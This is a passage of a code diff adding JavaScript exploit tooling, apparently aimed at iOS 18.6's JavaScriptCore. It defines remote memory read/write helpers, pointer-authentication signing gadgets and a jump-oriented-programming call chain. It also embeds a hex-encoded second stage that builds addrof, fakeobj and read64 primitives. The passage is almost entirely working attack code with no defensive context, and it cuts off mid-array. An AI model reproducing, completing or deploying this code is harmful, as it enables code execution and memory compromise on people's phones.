return mpd_fcall(CALLOC, sz, 1n); + } + let mpd_memwrite_page_remote = 0n; + let mpd_memwrite_page_local = 0n; + function mpd_memwrite(remote_addr, local_addr, sz) { + if (mpd_memwrite_page_remote == 0n) { + mpd_memwrite_page_remote = surface_address_remote + PAGE_SIZE * 0x8n; + mpd_memwrite_page_local = surface_address + PAGE_SIZE * 0x8n; + } + while (sz > 0n) { + let tmp_sz = sz; + if (sz > PAGE_SIZE) { + tmp_sz = PAGE_SIZE; + } + memcpy(mpd_memwrite_page_local, local_addr, tmp_sz); + mpd_fcall(MEMCPY, remote_addr, mpd_memwrite_page_remote, tmp_sz); + sz -= tmp_sz; + local_addr += tmp_sz; + remote_addr += tmp_sz; + } + } + function mpd_memread(local_addr, remote_addr, sz) { + if (mpd_memwrite_page_remote == 0n) { + mpd_memwrite_page_remote = surface_address_remote + PAGE_SIZE * 0x8n; + mpd_memwrite_page_local = surface_address + PAGE_SIZE * 0x8n; + } + while (sz > 0n) { + let tmp_sz = sz; + if (sz > PAGE_SIZE) { + tmp_sz = PAGE_SIZE; + } + mpd_fcall(MEMCPY, mpd_memwrite_page_remote, remote_addr, tmp_sz); + memcpy(local_addr, mpd_memwrite_page_local, tmp_sz); + sz -= tmp_sz; + local_addr += tmp_sz; + remote_addr += tmp_sz; + } + } + function mpd_dump(addr, sz) { + let data = calloc(1n, sz); + mpd_memread(data, addr, sz); + DUMP(data, sz); + } + function mpd_new_uint64(val) { + let buf = mpd_malloc(0x8n); + mpd_write64(buf, val); + return buf; + } + function mpd_get_cstring(str) { + if (typeof str === "string") { + str = get_cstring(str); + } + let c_str_len = strlen(str); + let mpd_c_str = mpd_malloc(c_str_len + 0x1n); + mpd_memwrite(mpd_c_str, str, c_str_len); + return mpd_c_str; + } + function mpd_create_cfstring(js_str) { + return mpd_fcall(CFSTRINGCREATEWITHCSTRING, kCFAllocatorDefault, mpd_get_cstring(js_str), kCFStringEncodingUTF8); + } + function mpd_heap_ptr_ok(v) { + if (v === undefined || v === null || v === 0n) return false; + try { + let p = typeof v === "bigint" ? v : BigInt(v); + p = p & 0x7fffffffffn; // strip PAC + if (p < 0x100000000n) return false; + if (p > 0x280000000n && p < 0x400000000n) return true; + if (p >= 0x100000000n && p < 0x800000000000n) return true; + return false; + } catch (_) { return false; } + } + function mpd_pe_sanitize_ascii(src) { + let s = src || ""; + let o = ""; + let n = 0; + for (let i = 0; i < s.length; i++) { + let c = s.charCodeAt(i); + if (c < 128) { o += s[i]; } + else { n++; if (c === 8212) o += "-"; else if (c === 8594) o += "->"; else o += "?"; } + } + if (n) LOG(`[MPD] pe_main ascii-sanitize replaced=${n}`); + return o; + } + // Giant CreateWithCString returns PAC junk on 18.6 for >200KB payloads (upstream note). + // Build pe_main via CFMutableString + CFStringAppend of small proven CFStrings. + function mpd_build_pe_mutable_cfstring(pe_src) { + pe_src = mpd_pe_sanitize_ascii(pe_src); + let total = pe_src ? pe_src.length : 0; + LOG(`[MPD] pe_main mutable-cfappend build chars=${total}`); + if (!total) { LOG("[MPD] pe_main source empty"); return 0n; } + let CFStringCreateMutable = func_resolve("CFStringCreateMutable"); + let CFStringAppend = func_resolve("CFStringAppend"); + let CFStringGetLength = func_resolve("CFStringGetLength"); + let CFReleaseL = func_resolve("CFRelease"); + if (!CFStringCreateMutable || !CFStringAppend) { LOG("[MPD] mutable symbols unresolved"); return 0n; } + let mut = 0n; + try { mut = mpd_fcall(CFStringCreateMutable, kCFAllocatorDefault, 0n); } + catch (eMut) { LOG("[MPD] CFStringCreateMutable err: " + eMut); return 0n; } + if (!mpd_heap_ptr_ok(mut)) { LOG("[MPD] CFStringCreateMutable bad ptr"); return 0n; } + const CHUNK = 0x400; + let nPiece = 0; + for (let i = 0; i < total; i += CHUNK) { + let part = pe_src.substring(i, Math.min(i + CHUNK, total)); + let piece = 0n; + try { piece = mpd_create_cfstring(part); } + catch (ePiece) { LOG(`[MPD] mutable piece err n=${nPiece} off=${i}: ${ePiece}`); return 0n; } + if (!piece || piece === 0n) { LOG(`[MPD] mutable piece null n=${nPiece} off=${i}`); return 0n; } + mpd_fcall(CFStringAppend, mut, piece); + nPiece++; + try { if (CFReleaseL) mpd_fcall(CFReleaseL, piece); } catch (_) {} + if (nPiece === 1 || (nPiece % 128) === 0 || (i + CHUNK) >= total) { + LOG(`[MPD] mutable append ${Math.min(i + CHUNK, total)}/${total}`); + } + } + try { + let glen = Number(mpd_fcall(CFStringGetLength, mut)); + LOG(`[MPD] mutable GetLength=${glen} expect=${total}`); + if (glen !== total) { LOG("[MPD] mutable length mismatch — abort"); return 0n; } + } catch (eLen) { LOG("[MPD] mutable GetLength err: " + eLen); } + return mut; + } + function mpd_sel_registerName(cstr) { + return mpd_fcall(SEL_REGISTERNAME, cstr); + } + function mpd_objc_getClass(class_name) { + return mpd_fcall(OBJC_GETCLASS, class_name); + } + function mpd_objc_alloc_init(class_obj) { + return mpd_fcall(OBJC_ALLOC_INIT, class_obj); + } + function mpd_objc_msgSend(...args) { + return mpd_fcall(OBJC_MSGSEND, ...args); + } + function mpd_objc_msgSend_nowait(...args) { + return mpd_fcall_noreturn(OBJC_MSGSEND, ...args); + } + function mpd_objc_msgSend_nowait_exit(...args) { + return mpd_fcall_noreturn_exit(OBJC_MSGSEND, ...args); + } + function mpd_objectForKeyedSubscript(obj, key) { + let cfstr = mpd_create_cfstring(key); + let selector = mpd_sel_registerName(mpd_get_cstring("objectForKeyedSubscript:")); + return mpd_objc_msgSend(obj, selector, cfstr); + } + function mpd_increase_stack_limit() { + let tls = mpd_fcall(PTHREAD_SELF); + LOG("[MPD] tls: " + tls.hex()); + mpd_write64(tls + 0xb0n, surface_address_remote + surface_size); + mpd_write64(tls + 0xb8n, surface_address_remote + surface_size - fcall_stack_sz); + } + function mpd_evaluateScript(obj, jscript) { + let selector = mpd_sel_registerName(mpd_get_cstring("evaluateScript:")); + return mpd_objc_msgSend(obj, selector, jscript); + } + function mpd_evaluateScript_nowait(obj, jscript) { + let selector = mpd_sel_registerName(mpd_get_cstring("evaluateScript:")); + return mpd_objc_msgSend_nowait(obj, selector, jscript); + } + function mpd_evaluateScript_nowait_exit(obj, jscript) { + let selector = mpd_sel_registerName(mpd_get_cstring("evaluateScript:")); + return mpd_objc_msgSend_nowait_exit(obj, selector, jscript); + } + function mpd_pacib(ptr, ctx) { + return mpd_fcall(dyld_signPointer_gadget, ptr, 0n, 0n, ctx, 1n); + } + function mpd_setup_fcall_jopchain() { + let jsvm_fcall_buff = mpd_malloc(PAGE_SIZE); + let load_x1x3x8_args = jsvm_fcall_buff + 0x100n; + let jsvm_fcall_args = jsvm_fcall_buff + 0x200n; + mpd_write64(jsvm_fcall_buff + 0x0n, load_x1x3x8_args); + mpd_write64(jsvm_fcall_buff + 0x8n, pacia(load_x1x3x8, 0n)); + mpd_write64(jsvm_fcall_buff + 0x10n, pacia(_CFObjectCopyProperty, 0n)); + mpd_write64(jsvm_fcall_buff + 0x40n, pacia(jsvm_isNAN_fcall_gadget2, 0n)); + mpd_write64(load_x1x3x8_args + 0x20n, load_x1x3x8_args + 0x40n); + mpd_write64(load_x1x3x8_args + 0x28n, jsvm_fcall_args - 0x10n); + mpd_write64(load_x1x3x8_args + 0x30n, pacia(0x41414141n, 0xC2D0n)); + mpd_write64(load_x1x3x8_args + 0x50n, pacia(fcall_14_args_write_x8, load_x1x3x8_args + 0x50n)); + return [jsvm_fcall_buff, load_x1x3x8_args + 0x30n, jsvm_fcall_args]; + } + let pe_marker_buf = 0n; + function spawn_pe() { + LOG("Spawning PE...."); + let pe_stage1_js_data = 0n; + let pe_main_js_data = 0n; + let pe_post_js_data = 0n; + let pe_main_js_str = ""; + if (integrated) { + let pe_stage1_js_data_array = new Uint8Array([ + 0x28, 0x28, 0x29, 0x20, 0x3d, 0x3e, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x20, 0x61, 0x62, 0x20, 0x3d, 0x20, 0x6e, 0x65, 0x77, 0x20, 0x41, 0x72, 0x72, 0x61, 0x79, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x28, 0x38, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x20, 0x75, 0x36, 0x34, 0x20, 0x3d, 0x20, 0x6e, 0x65, 0x77, 0x20, 0x42, 0x69, 0x67, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x41, 0x72, 0x72, 0x61, 0x79, 0x28, 0x61, 0x62, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x20, 0x75, 0x33, 0x32, 0x20, 0x3d, 0x20, 0x6e, 0x65, 0x77, 0x20, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x41, 0x72, 0x72, 0x61, 0x79, 0x28, 0x61, 0x62, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x20, 0x75, 0x38, 0x20, 0x3d, 0x20, 0x6e, 0x65, 0x77, 0x20, 0x55, 0x69, 0x6e, 0x74, 0x38, 0x41, 0x72, 0x72, 0x61, 0x79, 0x28, 0x61, 0x62, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x20, 0x66, 0x36, 0x34, 0x20, 0x3d, 0x20, 0x6e, 0x65, 0x77, 0x20, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x36, 0x34, 0x41, 0x72, 0x72, 0x61, 0x79, 0x28, 0x61, 0x62, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x42, 0x69, 0x67, 0x49, 0x6e, 0x74, 0x2e, 0x66, 0x72, 0x6f, 0x6d, 0x44, 0x6f, 0x75, 0x62, 0x6c, 0x65, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x76, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x66, 0x36, 0x34, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x76, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x75, 0x36, 0x34, 0x5b, 0x30, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x42, 0x69, 0x67, 0x49, 0x6e, 0x74, 0x2e, 0x66, 0x72, 0x6f, 0x6d, 0x42, 0x79, 0x74, 0x65, 0x73, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x62, 0x79, 0x74, 0x65, 0x73, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x28, 0x6c, 0x65, 0x74, 0x20, 0x69, 0x20, 0x3d, 0x20, 0x30, 0x3b, 0x20, 0x69, 0x20, 0x3c, 0x20, 0x38, 0x3b, 0x20, 0x2b, 0x2b, 0x69, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x38, 0x5b, 0x69, 0x5d, 0x20, 0x3d, 0x20, 0x62, 0x79, 0x74, 0x65, 0x73, 0x5b, 0x69, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x7d, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x75, 0x36, 0x34, 0x5b, 0x30, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x42, 0x69, 0x67, 0x49, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x74, 0x79, 0x70, 0x65, 0x2e, 0x68, 0x65, 0x78, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x70, 0x61, 0x64, 0x4e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x20, 0x3d, 0x20, 0x31, 0x36, 0x2c, 0x20, 0x70, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x20, 0x3d, 0x20, 0x30, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x73, 0x20, 0x3d, 0x20, 0x27, 0x30, 0x78, 0x27, 0x20, 0x2b, 0x20, 0x74, 0x68, 0x69, 0x73, 0x2e, 0x74, 0x6f, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x28, 0x31, 0x36, 0x29, 0x2e, 0x70, 0x61, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x28, 0x70, 0x61, 0x64, 0x4e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x2c, 0x20, 0x70, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x5b, 0x5d, 0x5b, 0x73, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x73, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x42, 0x69, 0x67, 0x49, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x74, 0x79, 0x70, 0x65, 0x2e, 0x68, 0x65, 0x78, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x70, 0x61, 0x64, 0x4e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x20, 0x3d, 0x20, 0x31, 0x36, 0x2c, 0x20, 0x70, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x20, 0x3d, 0x20, 0x30, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x73, 0x20, 0x3d, 0x20, 0x74, 0x68, 0x69, 0x73, 0x2e, 0x74, 0x6f, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x28, 0x31, 0x36, 0x29, 0x2e, 0x70, 0x61, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x28, 0x70, 0x61, 0x64, 0x4e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x2c, 0x20, 0x70, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x5b, 0x5d, 0x5b, 0x73, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x73, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x42, 0x69, 0x67, 0x49, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x74, 0x79, 0x70, 0x65, 0x2e, 0x61, 0x73, 0x44, 0x6f, 0x75, 0x62, 0x6c, 0x65, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x75, 0x36, 0x34, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x74, 0x68, 0x69, 0x73, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x66, 0x36, 0x34, 0x5b, 0x30, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x42, 0x69, 0x67, 0x49, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x74, 0x79, 0x70, 0x65, 0x2e, 0x6e, 0x6f, 0x50, 0x41, 0x43, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x6f, 0x74, 0x68, 0x65, 0x72, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x26, 0x20, 0x30, 0x78, 0x37, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x42, 0x69, 0x67, 0x49, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x74, 0x79, 0x70, 0x65, 0x2e, 0x61, 0x73, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x73, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x75, 0x36, 0x34, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x74, 0x68, 0x69, 0x73, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x20, 0x6c, 0x6f, 0x20, 0x3d, 0x20, 0x75, 0x33, 0x32, 0x5b, 0x30, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x20, 0x68, 0x69, 0x20, 0x3d, 0x20, 0x75, 0x33, 0x32, 0x5b, 0x31, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x6e, 0x65, 0x77, 0x5f, 0x68, 0x69, 0x20, 0x3d, 0x20, 0x68, 0x69, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x68, 0x69, 0x20, 0x3e, 0x3d, 0x20, 0x30, 0x78, 0x38, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6e, 0x65, 0x77, 0x5f, 0x68, 0x69, 0x20, 0x3d, 0x20, 0x68, 0x69, 0x20, 0x2d, 0x20, 0x30, 0x78, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x20, 0x26, 0x20, 0x30, 0x78, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x7d, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x6e, 0x65, 0x77, 0x5f, 0x6c, 0x6f, 0x20, 0x3d, 0x20, 0x6c, 0x6f, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x6c, 0x6f, 0x20, 0x3e, 0x3d, 0x20, 0x30, 0x78, 0x38, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6e, 0x65, 0x77, 0x5f, 0x6c, 0x6f, 0x20, 0x3d, 0x20, 0x6c, 0x6f, 0x20, 0x2d, 0x20, 0x30, 0x78, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x20, 0x26, 0x20, 0x30, 0x78, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x7d, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x5b, 0x6e, 0x65, 0x77, 0x5f, 0x6c, 0x6f, 0x2c, 0x20, 0x6e, 0x65, 0x77, 0x5f, 0x68, 0x69, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x20, 0x6e, 0x6f, 0x43, 0x6f, 0x77, 0x20, 0x3d, 0x20, 0x31, 0x2e, 0x31, 0x3b, 0xa, 0x20, 0x20, 0x75, 0x6e, 0x62, 0x6f, 0x78, 0x65, 0x64, 0x5f, 0x61, 0x72, 0x72, 0x20, 0x3d, 0x20, 0x5b, 0x6e, 0x6f, 0x43, 0x6f, 0x77, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x62, 0x6f, 0x78, 0x65, 0x64, 0x5f, 0x61, 0x72, 0x72, 0x20, 0x3d, 0x20, 0x5b, 0x7b, 0x7d, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x73, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x20, 0x3d, 0x20, 0x6e, 0x65, 0x77, 0x20, 0x55, 0x69, 0x6e, 0x74, 0x38, 0x41, 0x72, 0x72, 0x61, 0x79, 0x28, 0x30, 0x78, 0x34, 0x30, 0x30, 0x30, 0x29, 0x2e, 0x66, 0x69, 0x6c, 0x6c, 0x28, 0x30, 0x78, 0x66, 0x65, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x20, 0x3d, 0x20, 0x6e, 0x65, 0x77, 0x20, 0x42, 0x69, 0x67, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x41, 0x72, 0x72, 0x61, 0x79, 0x28, 0x30, 0x78, 0x31, 0x30, 0x30, 0x30, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x72, 0x77, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x20, 0x3d, 0x20, 0x6e, 0x65, 0x77, 0x20, 0x42, 0x69, 0x67, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x41, 0x72, 0x72, 0x61, 0x79, 0x28, 0x30, 0x78, 0x31, 0x30, 0x30, 0x30, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5f, 0x38, 0x20, 0x3d, 0x20, 0x6e, 0x65, 0x77, 0x20, 0x42, 0x69, 0x67, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x41, 0x72, 0x72, 0x61, 0x79, 0x28, 0x30, 0x78, 0x31, 0x30, 0x30, 0x30, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x72, 0x77, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5f, 0x38, 0x20, 0x3d, 0x20, 0x6e, 0x65, 0x77, 0x20, 0x55, 0x69, 0x6e, 0x74, 0x38, 0x41, 0x72, 0x72, 0x61, 0x79, 0x28, 0x30, 0x78, 0x31, 0x30, 0x30, 0x30, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x20, 0x6d, 0x65, 0x6d, 0x20, 0x3d, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x61, 0x64, 0x64, 0x72, 0x6f, 0x66, 0x3a, 0x20, 0x75, 0x6e, 0x64, 0x65, 0x66, 0x69, 0x6e, 0x65, 0x64, 0x2c, 0xa, 0x20, 0x20, 0x20, 0x20, 0x66, 0x61, 0x6b, 0x65, 0x6f, 0x62, 0x6a, 0x3a, 0x20, 0x75, 0x6e, 0x64, 0x65, 0x66, 0x69, 0x6e, 0x65, 0x64, 0x2c, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x3a, 0x20, 0x75, 0x6e, 0x64, 0x65, 0x66, 0x69, 0x6e, 0x65, 0x64, 0x2c, 0xa, 0x20, 0x20, 0x20, 0x20, 0x77, 0x72, 0x69, 0x74, 0x65, 0x36, 0x34, 0x3a, 0x20, 0x75, 0x6e, 0x64, 0x65, 0x66, 0x69, 0x6e, 0x65, 0x64, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x61, 0x64, 0x64, 0x72, 0x6f, 0x66, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x6f, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6f, 0x78, 0x65, 0x64, 0x5f, 0x61, 0x72, 0x72, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x6f, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x42, 0x69, 0x67, 0x49, 0x6e, 0x74, 0x2e, 0x66, 0x72, 0x6f, 0x6d, 0x44, 0x6f, 0x75, 0x62, 0x6c, 0x65, 0x28, 0x75, 0x6e, 0x62, 0x6f, 0x78, 0x65, 0x64, 0x5f, 0x61, 0x72, 0x72, 0x5b, 0x30, 0x5d, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x66, 0x61, 0x6b, 0x65, 0x6f, 0x62, 0x6a, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x61, 0x64, 0x64, 0x72, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x75, 0x6e, 0x62, 0x6f, 0x78, 0x65, 0x64, 0x5f, 0x61, 0x72, 0x72, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x61, 0x64, 0x64, 0x72, 0x2e, 0x61, 0x73, 0x44, 0x6f, 0x75, 0x62, 0x6c, 0x65, 0x28, 0x29, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x62, 0x6f, 0x78, 0x65, 0x64, 0x5f, 0x61, 0x72, 0x72, 0x5b, 0x30, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x72, 0x65, 0x61, 0x64, 0x36, 0x34, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x77, 0x68, 0x65, 0x72, 0x65, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x77, 0x68, 0x65, 0x72, 0x65, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x72, 0x73, 0x20, 0x3d, 0x20, 0x72, 0x77, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5b, 0x30, 0x5d, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x72, 0x73, 0x3b, 0xa, 0x20, 0x20, 0x7d, 0x3b, 0xa, 0x20, 0x20, 0x63, 0x6d, 0x70, 0x36, 0x34, 0x20, 0x3d, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x28, 0x77, 0x68, 0x65, 0x72, 0x65, 0x2c, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x77, 0x68, 0x65, 0x72, 0x65, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x6c, 0x65, 0x74, 0x20, 0x72, 0x73, 0x20, 0x3d, 0x20, 0x72, 0x77, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x3d, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5f, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5b, 0x30, 0x5d, 0x20, 0x3d, 0x20, 0x30, 0x6e, 0x3b, 0xa, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x72, 0x73, 0x3b, 0xa, 0x20, 0x20, 